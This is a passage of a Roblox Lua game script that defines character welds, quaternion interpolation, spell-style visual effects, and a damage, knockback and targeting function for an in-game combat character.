1854 | mouse=Player:GetMouse() | |
1855 | --save shoulders | |
1856 | RSH, LSH=nil, nil | |
1857 | --welds | |
1858 | RW, LW=Instance.new("Weld"), Instance.new("Weld") | |
1859 | RW.Name="Right Shoulder" LW.Name="Left Shoulder" | |
1860 | LH=Torso["Left Hip"] | |
1861 | RH=Torso["Right Hip"] | |
1862 | TorsoColor=BrickColor.new("Royal purple") | |
1863 | function NoOutline(Part) | |
1864 | Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10 | |
1865 | end | |
1866 | player=Player | |
1867 | ch=Character | |
1868 | RSH=ch.Torso["Right Shoulder"] | |
1869 | LSH=ch.Torso["Left Shoulder"] | |
1870 | -- | |
1871 | RSH.Parent=nil | |
1872 | LSH.Parent=nil | |
1873 | -- | |
1874 | RW.Name="Right Shoulder" | |
1875 | RW.Part0=ch.Torso | |
1876 | RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) | |
1877 | RW.C1=cf(0, 0.5, 0) | |
1878 | RW.Part1=ch["Right Arm"] | |
1879 | RW.Parent=ch.Torso | |
1880 | -- | |
1881 | LW.Name="Left Shoulder" | |
1882 | LW.Part0=ch.Torso | |
1883 | LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) | |
1884 | LW.C1=cf(0, 0.5, 0) | |
1885 | LW.Part1=ch["Left Arm"] | |
1886 | LW.Parent=ch.Torso | |
1887 | ||
1888 | ||
1889 | function part(formfactor,parent,reflectance,transparency,brickcolor,name,size) | |
1890 | local fp=it("Part") | |
1891 | fp.formFactor=formfactor | |
1892 | fp.Parent=parent | |
1893 | fp.Reflectance=reflectance | |
1894 | fp.Transparency=transparency | |
1895 | fp.CanCollide=false | |
1896 | fp.Locked=true | |
1897 | fp.BrickColor=brickcolor | |
1898 | fp.Name=name | |
1899 | fp.Size=size | |
1900 | fp.Position=Torso.Position | |
1901 | NoOutline(fp) | |
1902 | fp.Material="Neon" | |
1903 | fp:BreakJoints() | |
1904 | return fp | |
1905 | end | |
1906 | ||
1907 | function mesh(Mesh,part,meshtype,meshid,offset,scale) | |
1908 | local mesh=it(Mesh) | |
1909 | mesh.Parent=part | |
1910 | if Mesh=="SpecialMesh" then | |
1911 | mesh.MeshType=meshtype | |
1912 | if meshid~="nil" then | |
1913 | mesh.MeshId="http://www.roblox.com/asset/?id="..meshid | |
1914 | end | |
1915 | end | |
1916 | mesh.Offset=offset | |
1917 | mesh.Scale=scale | |
1918 | return mesh | |
1919 | end | |
1920 | ||
1921 | function weld(parent,part0,part1,c0) | |
1922 | local weld=it("Weld") | |
1923 | weld.Parent=parent | |
1924 | weld.Part0=part0 | |
1925 | weld.Part1=part1 | |
1926 | weld.C0=c0 | |
1927 | return weld | |
1928 | end | |
1929 | ||
1930 | local Color1=BrickColor.new("Royal purple") | |
1931 | ||
1932 | local bodvel=Instance.new("BodyVelocity") | |
1933 | local bg=Instance.new("BodyGyro") | |
1934 | ||
1935 | function swait(num) | |
1936 | if num==0 or num==nil then | |
1937 | game:service'RunService'.Stepped:wait(0) | |
1938 | else | |
1939 | for i=0,num do | |
1940 | game:service'RunService'.Stepped:wait(0) | |
1941 | end | |
1942 | end | |
1943 | end | |
1944 | ||
1945 | ||
1946 | so = function(id,par,vol,pit) | |
1947 | coroutine.resume(coroutine.create(function() | |
1948 | local sou = Instance.new("Sound",par or workspace) | |
1949 | sou.Volume=vol | |
1950 | sou.Pitch=pit or 1 | |
1951 | sou.SoundId=id | |
1952 | swait() | |
1953 | sou:play() | |
1954 | game:GetService("Debris"):AddItem(sou,6) | |
1955 | end)) | |
1956 | end | |
1957 | ||
1958 | function clerp(a,b,t) | |
1959 | local qa = {QuaternionFromCFrame(a)} | |
1960 | local qb = {QuaternionFromCFrame(b)} | |
1961 | local ax, ay, az = a.x, a.y, a.z | |
1962 | local bx, by, bz = b.x, b.y, b.z | |
1963 | local _t = 1-t | |
1964 | return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) | |
1965 | end | |
1966 | ||
1967 | function QuaternionFromCFrame(cf) | |
1968 | local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() | |
1969 | local trace = m00 + m11 + m22 | |
1970 | if trace > 0 then | |
1971 | local s = math.sqrt(1 + trace) | |
1972 | local recip = 0.5/s | |
1973 | return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 | |
1974 | else | |
1975 | local i = 0 | |
1976 | if m11 > m00 then | |
1977 | i = 1 | |
1978 | end | |
1979 | if m22 > (i == 0 and m00 or m11) then | |
1980 | i = 2 | |
1981 | end | |
1982 | if i == 0 then | |
1983 | local s = math.sqrt(m00-m11-m22+1) | |
1984 | local recip = 0.5/s | |
1985 | return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip | |
1986 | elseif i == 1 then | |
1987 | local s = math.sqrt(m11-m22-m00+1) | |
1988 | local recip = 0.5/s | |
1989 | return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip | |
1990 | elseif i == 2 then | |
1991 | local s = math.sqrt(m22-m00-m11+1) | |
1992 | local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip | |
1993 | end | |
1994 | end | |
1995 | end | |
1996 | ||
1997 | function QuaternionToCFrame(px, py, pz, x, y, z, w) | |
1998 | local xs, ys, zs = x + x, y + y, z + z | |
1999 | local wx, wy, wz = w*xs, w*ys, w*zs | |
2000 | local xx = x*xs | |
2001 | local xy = x*ys | |
2002 | local xz = x*zs | |
2003 | local yy = y*ys | |
2004 | local yz = y*zs | |
2005 | local zz = z*zs | |
2006 | return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) | |
2007 | end | |
2008 | ||
2009 | function QuaternionSlerp(a, b, t) | |
2010 | local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] | |
2011 | local startInterp, finishInterp; | |
2012 | if cosTheta >= 0.0001 then | |
2013 | if (1 - cosTheta) > 0.0001 then | |
2014 | local theta = math.acos(cosTheta) | |
2015 | local invSinTheta = 1/math.sin(theta) | |
2016 | startInterp = math.sin((1-t)*theta)*invSinTheta | |
2017 | finishInterp = math.sin(t*theta)*invSinTheta | |
2018 | else | |
2019 | startInterp = 1-t | |
2020 | finishInterp = t | |
2021 | end | |
2022 | else | |
2023 | if (1+cosTheta) > 0.0001 then | |
2024 | local theta = math.acos(-cosTheta) | |
2025 | local invSinTheta = 1/math.sin(theta) | |
2026 | startInterp = math.sin((t-1)*theta)*invSinTheta | |
2027 | finishInterp = math.sin(t*theta)*invSinTheta | |
2028 | else | |
2029 | startInterp = t-1 | |
2030 | finishInterp = t | |
2031 | end | |
2032 | end | |
2033 | return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp | |
2034 | end | |
2035 | ||
2036 | function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants | |
2037 | return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) | |
2038 | end | |
2039 | ||
2040 | function SkullEffect(brickcolor,cframe,x1,y1,z1,delay) | |
2041 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2042 | prt.Anchored=true | |
2043 | prt.CFrame=cframe | |
2044 | local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1)) | |
2045 | --http://www.roblox.com/asset/?id=4770560 | |
2046 | game:GetService("Debris"):AddItem(prt,2) | |
2047 | CF=prt.CFrame | |
2048 | coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) | |
2049 | for i=0,1,0.2 do | |
2050 | wait() | |
2051 | Part.CFrame=CF*cf(0,0,-0.4) | |
2052 | end | |
2053 | for i=0,1,delay do | |
2054 | wait() | |
2055 | --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5) | |
2056 | Mesh.Scale=Mesh.Scale | |
2057 | end | |
2058 | for i=0,1,0.1 do | |
2059 | wait() | |
2060 | Part.Transparency=i | |
2061 | end | |
2062 | Part.Parent=nil | |
2063 | end),prt,msh,CF) | |
2064 | end | |
2065 | ||
2066 | function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2067 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2068 | prt.Anchored=true | |
2069 | prt.CFrame=cframe | |
2070 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2071 | game:GetService("Debris"):AddItem(prt,5) | |
2072 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2073 | for i=0,1,delay do | |
2074 | wait() | |
2075 | Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2076 | Part.Transparency=i | |
2077 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2078 | end | |
2079 | Part.Parent=nil | |
2080 | end),prt,msh) | |
2081 | end | |
2082 | ||
2083 | function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay) | |
2084 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2085 | prt.Anchored=false | |
2086 | prt.CFrame=cframe | |
2087 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2088 | local wld=weld(prt,prt,Parent,cframe) | |
2089 | game:GetService("Debris"):AddItem(prt,5) | |
2090 | coroutine.resume(coroutine.create(function(Part,Mesh,Weld) | |
2091 | for i=0,1,delay do | |
2092 | wait() | |
2093 | Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe | |
2094 | --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2095 | Part.Transparency=i | |
2096 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2097 | end | |
2098 | Part.Parent=nil | |
2099 | end),prt,msh,wld) | |
2100 | end | |
2101 | ||
2102 | function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay) | |
2103 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2104 | prt.Anchored=false | |
2105 | prt.CFrame=cframe | |
2106 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2107 | local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0)) | |
2108 | game:GetService("Debris"):AddItem(prt,5) | |
2109 | coroutine.resume(coroutine.create(function(Part,Mesh,Weld) | |
2110 | for i=0,1,delay do | |
2111 | wait() | |
2112 | Weld.C0=euler(i*20,0,0) | |
2113 | --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2114 | Part.Transparency=i | |
2115 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2116 | end | |
2117 | Part.Parent=nil | |
2118 | end),prt,msh,wld) | |
2119 | end | |
2120 | ||
2121 | function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2122 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2123 | prt.Anchored=true | |
2124 | prt.CFrame=cframe | |
2125 | local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2126 | game:GetService("Debris"):AddItem(prt,2) | |
2127 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2128 | for i=0,1,delay do | |
2129 | wait() | |
2130 | Part.CFrame=Part.CFrame | |
2131 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2132 | local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2133 | prt2.Anchored=true | |
2134 | prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2135 | local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5)) | |
2136 | game:GetService("Debris"):AddItem(prt2,2) | |
2137 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2138 | for i=0,1,0.1 do | |
2139 | wait() | |
2140 | Part.CFrame=Part.CFrame*cf(0,0.5,0) | |
2141 | end | |
2142 | Part.Parent=nil | |
2143 | end),prt2,msh2) | |
2144 | end | |
2145 | for i=0,1,delay*2 do | |
2146 | wait() | |
2147 | Part.CFrame=Part.CFrame | |
2148 | Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i) | |
2149 | end | |
2150 | Part.Parent=nil | |
2151 | end),prt,msh) | |
2152 | end | |
2153 | ||
2154 | function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2155 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2156 | prt.Anchored=true | |
2157 | prt.CFrame=cframe | |
2158 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
2159 | game:GetService("Debris"):AddItem(prt,2) | |
2160 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2161 | for i=0,1,delay do | |
2162 | wait() | |
2163 | Part.CFrame=Part.CFrame | |
2164 | Part.Transparency=i | |
2165 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2166 | end | |
2167 | Part.Parent=nil | |
2168 | end),prt,msh) | |
2169 | end | |
2170 | ||
2171 | function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3) | |
2172 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2173 | prt.Anchored=true | |
2174 | prt.CFrame=cframe*euler(x2,y2,z2) | |
2175 | --"http://www.roblox.com/asset/?id=168892465" | |
2176 | local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1)) | |
2177 | game:GetService("Debris"):AddItem(prt,2) | |
2178 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2179 | for i=0,1,0.03 do | |
2180 | wait() | |
2181 | Part.CFrame=Part.CFrame | |
2182 | Part.Transparency=i | |
2183 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2184 | end | |
2185 | Part.Parent=nil | |
2186 | end),prt,msh) | |
2187 | end | |
2188 | ||
2189 | function BreakEffect(brickcolor,cframe,x1,y1,z1) | |
2190 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2191 | prt.Anchored=true | |
2192 | prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2193 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
2194 | game:GetService("Debris"):AddItem(prt,2) | |
2195 | coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb) | |
2196 | CF=Part.CFrame | |
2197 | Numbb=0 | |
2198 | randnumb=math.random()/10 | |
2199 | rand1=math.random()/10 | |
2200 | for i=0,1,rand1 do | |
2201 | wait() | |
2202 | CF=CF*cf(0,math.random()/2,0) | |
2203 | --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0) | |
2204 | Part.CFrame=CF*euler(Numbb,0,0) | |
2205 | Part.Transparency=i | |
2206 | Numbb=Numbb+randnumb | |
2207 | end | |
2208 | Part.Parent=nil | |
2209 | end),prt,CF,Numbb,randnumb) | |
2210 | end | |
2211 | ||
2212 | function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2213 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2214 | prt.Anchored=true | |
2215 | prt.CFrame=cframe | |
2216 | msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1)) | |
2217 | game:GetService("Debris"):AddItem(prt,5) | |
2218 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2219 | for i=0,1,delay do | |
2220 | wait() | |
2221 | Part.CFrame=Part.CFrame*euler(0,0.7,0) | |
2222 | Part.Transparency=i | |
2223 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2224 | end | |
2225 | Part.Parent=nil | |
2226 | end),prt,msh) | |
2227 | end | |
2228 | ||
2229 | function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2230 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2231 | prt.Anchored=true | |
2232 | prt.CFrame=cframe | |
2233 | msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1)) | |
2234 | game:GetService("Debris"):AddItem(prt,2) | |
2235 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2236 | for i=0,1,delay do | |
2237 | wait() | |
2238 | Part.CFrame=Part.CFrame*cf(0,y3/2,0) | |
2239 | Part.Transparency=i | |
2240 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2241 | end | |
2242 | Part.Parent=nil | |
2243 | end),prt,msh) | |
2244 | end | |
2245 | ||
2246 | function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay) | |
2247 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2248 | prt.Anchored=true | |
2249 | prt.CFrame=cframe*cf(x,y,z) | |
2250 | msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1)) | |
2251 | game:GetService("Debris"):AddItem(prt,5) | |
2252 | coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee) | |
2253 | local num=math.random() | |
2254 | local num2=math.random(-3,2)+math.random() | |
2255 | local numm=0 | |
2256 | for i=0,1,delay*2 do | |
2257 | swait() | |
2258 | Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0) | |
2259 | Part.Transparency=i | |
2260 | numm=numm+0.01 | |
2261 | end | |
2262 | Part.Parent=nil | |
2263 | Mesh.Parent=nil | |
2264 | end),prt,msh,x,y,z) | |
2265 | end | |
2266 | ||
2267 | Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) | |
2268 | if hit.Parent==nil then | |
2269 | return | |
2270 | end | |
2271 | h=hit.Parent:FindFirstChild("Humanoid") | |
2272 | for _,v in pairs(hit.Parent:children()) do | |
2273 | if v:IsA("Humanoid") then | |
2274 | h=v | |
2275 | end | |
2276 | end | |
2277 | if hit.Parent.Parent:FindFirstChild("Torso")~=nil then | |
2278 | h=hit.Parent.Parent:FindFirstChild("Humanoid") | |
2279 | end | |
2280 | if hit.Parent.className=="Hat" then | |
2281 | hit=hit.Parent.Parent:findFirstChild("Head") | |
2282 | end | |
2283 | if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then | |
2284 | if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end | |
2285 | --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then | |
2286 | return | |
2287 | end]] | |
2288 | -- hs(hit,1.2) | |
2289 | c=Instance.new("ObjectValue") | |
2290 | c.Name="creator" | |
2291 | c.Value=game:service("Players").LocalPlayer | |
2292 | c.Parent=h | |
2293 | game:GetService("Debris"):AddItem(c,.5) | |
2294 | Damage=math.random(minim,maxim) | |
2295 | -- h:TakeDamage(Damage) | |
2296 | blocked=false | |
2297 | block=hit.Parent:findFirstChild("Block") | |
2298 | if block~=nil then | |
2299 | print(block.className) | |
2300 | if block.className=="NumberValue" then | |
2301 | if block.Value>0 then | |
2302 | blocked=true | |
2303 | if decreaseblock==nil then | |
2304 | block.Value=block.Value-1 | |
2305 | end | |
2306 | end | |
2307 | end | |
2308 | if block.className=="IntValue" then | |
2309 | if block.Value>0 then | |
2310 | blocked=true | |
2311 | if decreaseblock~=nil then | |
2312 | block.Value=block.Value-1 | |
2313 | end | |
2314 | end | |
2315 | end | |
2316 | end | |
2317 | if blocked==false then | |
2318 | -- h:TakeDamage(Damage) | |
2319 | h.Health=h.Health-Damage | |
2320 | showDamage(hit.Parent,Damage,.5,TorsoColor) | |
2321 | else | |
2322 | h.Health=h.Health-(Damage/2) | |
2323 | showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue")) | |
2324 | end | |
2325 | if Type=="Knockdown" then | |
2326 | hum=hit.Parent.Humanoid | |
2327 | hum.PlatformStand=true | |
2328 | coroutine.resume(coroutine.create(function(HHumanoid) | |
2329 | swait(1) | |
2330 | HHumanoid.PlatformStand=false | |
2331 | end),hum) | |
2332 | local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit | |
2333 | --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) | |
2334 | local bodvol=Instance.new("BodyVelocity") | |
2335 | bodvol.velocity=angle*knockback | |
2336 | bodvol.P=5000 | |
2337 | bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) | |
2338 | bodvol.Parent=hit | |
2339 | rl=Instance.new("BodyAngularVelocity") | |
2340 | rl.P=3000 | |
2341 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
2342 | rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) | |
2343 | rl.Parent=hit | |
2344 | game:GetService("Debris"):AddItem(bodvol,.5) | |
2345 | game:GetService("Debris"):AddItem(rl,.5) | |
2346 | elseif Type=="Normal" then | |
2347 | vp=Instance.new("BodyVelocity") | |
2348 | vp.P=500 | |
2349 | vp.maxForce=Vector3.new(math.huge,0,math.huge) | |
2350 | -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback | |
2351 | if KnockbackType==1 then | |
2352 | vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 | |
2353 | elseif KnockbackType==2 then | |
2354 | vp.velocity=Property.CFrame.lookVector*knockback | |
2355 | end | |
2356 | if knockback>0 then | |
2357 | vp.Parent=hit.Parent.Torso | |
2358 | end | |
2359 | game:GetService("Debris"):AddItem(vp,.5) | |
2360 | elseif Type=="Up" then | |
2361 | local bodyVelocity=Instance.new("BodyVelocity") | |
2362 | bodyVelocity.velocity=vt(0,10,0) | |
2363 | bodyVelocity.P=1000 | |
2364 | bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) | |
2365 | bodyVelocity.Parent=hit | |
2366 | game:GetService("Debris"):AddItem(bodyVelocity,1) | |
2367 | rl=Instance.new("BodyAngularVelocity") | |
2368 | rl.P=3000 | |
2369 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
2370 | rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
2371 | rl.Parent=hit | |
2372 | game:GetService("Debris"):AddItem(rl,.5) | |
2373 | elseif Type=="Snare" then | |
2374 | bp=Instance.new("BodyPosition") | |
2375 | bp.P=2000 | |
2376 | bp.D=100 | |
2377 | bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
2378 | bp.position=hit.Parent.Torso.Position | |
2379 | bp.Parent=hit.Parent.Torso | |
2380 | game:GetService("Debris"):AddItem(bp,1) | |
2381 | elseif Type=="Target" then | |
2382 | if Targetting==false then | |
2383 | ZTarget=hit.Parent.Torso | |
2384 | coroutine.resume(coroutine.create(function(Part) | |
2385 | so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) | |
2386 | swait(5) | |
2387 | so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) | |
2388 | end),ZTarget) | |
2389 | TargHum=ZTarget.Parent:findFirstChild("Humanoid") | |
2390 | targetgui=Instance.new("BillboardGui") | |
2391 | targetgui.Parent=ZTarget | |
2392 | targetgui.Size=UDim2.new(10,100,10,100) | |
2393 | targ=Instance.new("ImageLabel") | |
2394 | targ.Parent=targetgui | |
2395 | targ.BackgroundTransparency=1 | |
2396 | targ.Image="rbxassetid://4834067" | |
2397 | targ.Size=UDim2.new(1,0,1,0) | |
2398 | cam.CameraType="Scriptable" | |
2399 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2400 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
2401 | workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2402 | Targetting=true | |
2403 | RocketTarget=ZTarget | |
2404 | for i=1,Property do | |
2405 | --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do | |
2406 | if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then | |
2407 | swait() | |
2408 | end | |
2409 | --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) | |
2410 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2411 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
2412 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) | |
2413 | end | |
2414 | Targetting=false | |
2415 | RocketTarget=nil | |
2416 | targetgui.Parent=nil | |
2417 | cam.CameraType="Custom" | |
2418 | end | |
2419 | end | |
2420 | debounce=Instance.new("BoolValue") | |
2421 | debounce.Name="DebounceHit" | |
2422 | debounce.Parent=hit.Parent | |
2423 | debounce.Value=true | |
2424 | game:GetService("Debris"):AddItem(debounce,Delay) | |
2425 | c=Instance.new("ObjectValue") | |
2426 | c.Name="creator" | |
2427 | c.Value=Player | |
2428 | c.Parent=h | |
2429 | game:GetService("Debris"):AddItem(c,.5) | |
2430 | CRIT=false | |
2431 | hitDeb=true | |
2432 | AttackPos=6 | |
2433 | end | |
2434 | end | |
2435 | ||
2436 | showDamage=function(Char,Dealt,du,Color) | |
2437 | m=Instance.new("Model") | |
2438 | m.Name=tostring(Dealt) | |
2439 | h=Instance.new("Humanoid") | |
2440 | h.Health=0 | |
2441 | h.MaxHealth=0 | |
2442 | h.Parent=m | |
2443 | c=Instance.new("Part") | |
2444 | c.Transparency=0 | |
2445 | c.BrickColor=TorsoColor | |
2446 | c.Name="Head" | |
2447 | c.TopSurface=0 | |
2448 | c.BottomSurface=0 | |
2449 | c.formFactor="Plate" | |
2450 | c.Size=Vector3.new(1,.4,1) | |
2451 | ms=Instance.new("CylinderMesh") | |
2452 | ms.Scale=Vector3.new(.8,.8,.8) | |
2453 | so("http://www.roblox.com/asset/?id=199149269",c,1,1) | |
2454 | if CRIT==true then | |
2455 | ms.Scale=Vector3.new(1,1.25,1) | |
2456 | end | |
2457 | ms.Parent=c | |
2458 | c.Reflectance=0 | |
2459 | Instance.new("BodyGyro").Parent=c | |
2460 | c.Parent=m | |
2461 | if Char:findFirstChild("Head")~=nil then | |
2462 | c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
2463 | elseif Char.Parent:findFirstChild("Head")~=nil then | |
2464 | c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
2465 | end | |
2466 | f=Instance.new("BodyPosition") | |
2467 | f.P=2000 | |
2468 | f.D=100 | |
2469 | f.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
2470 | f.position=c.Position+Vector3.new(0,3,0) | |
2471 | f.Parent=c | |
2472 | game:GetService("Debris"):AddItem(m,.5+du) | |
2473 | c.CanCollide=false | |
2474 | m.Parent=workspace | |
2475 | c.CanCollide=false | |
2476 | end | |
2477 | ||
2478 | Player=game:GetService('Players').LocalPlayer | |
2479 | Character=Player.Character | |
2480 | Mouse=Player:GetMouse() | |
2481 | m=Instance.new('Model',Character) | |
2482 | ||
2483 | ||
2484 | local function weldBetween(a, b) | |
2485 | local weldd = Instance.new("ManualWeld") | |
2486 | weldd.Part0 = a | |
2487 | weldd.Part1 = b | |
2488 | weldd.C0 = CFrame.new() | |
2489 | weldd.C1 = b.CFrame:inverse() * a.CFrame | |
2490 | weldd.Parent = a | |
2491 | return weldd | |
2492 | end | |
2493 | ||
2494 | it=Instance.new | |
2495 | ||
2496 | function nooutline(part) | |
2497 | part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10 | |
2498 | end | |
2499 | ||
2500 | function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size) | |
2501 | local fp=it("Part") | |
2502 | fp.formFactor=formfactor | |
2503 | fp.Parent=parent | |
2504 | fp.Reflectance=reflectance | |
2505 | fp.Transparency=transparency | |
2506 | fp.CanCollide=false | |
2507 | fp.Locked=true | |
2508 | fp.BrickColor=BrickColor.new(tostring(brickcolor)) | |
2509 | fp.Name=name | |
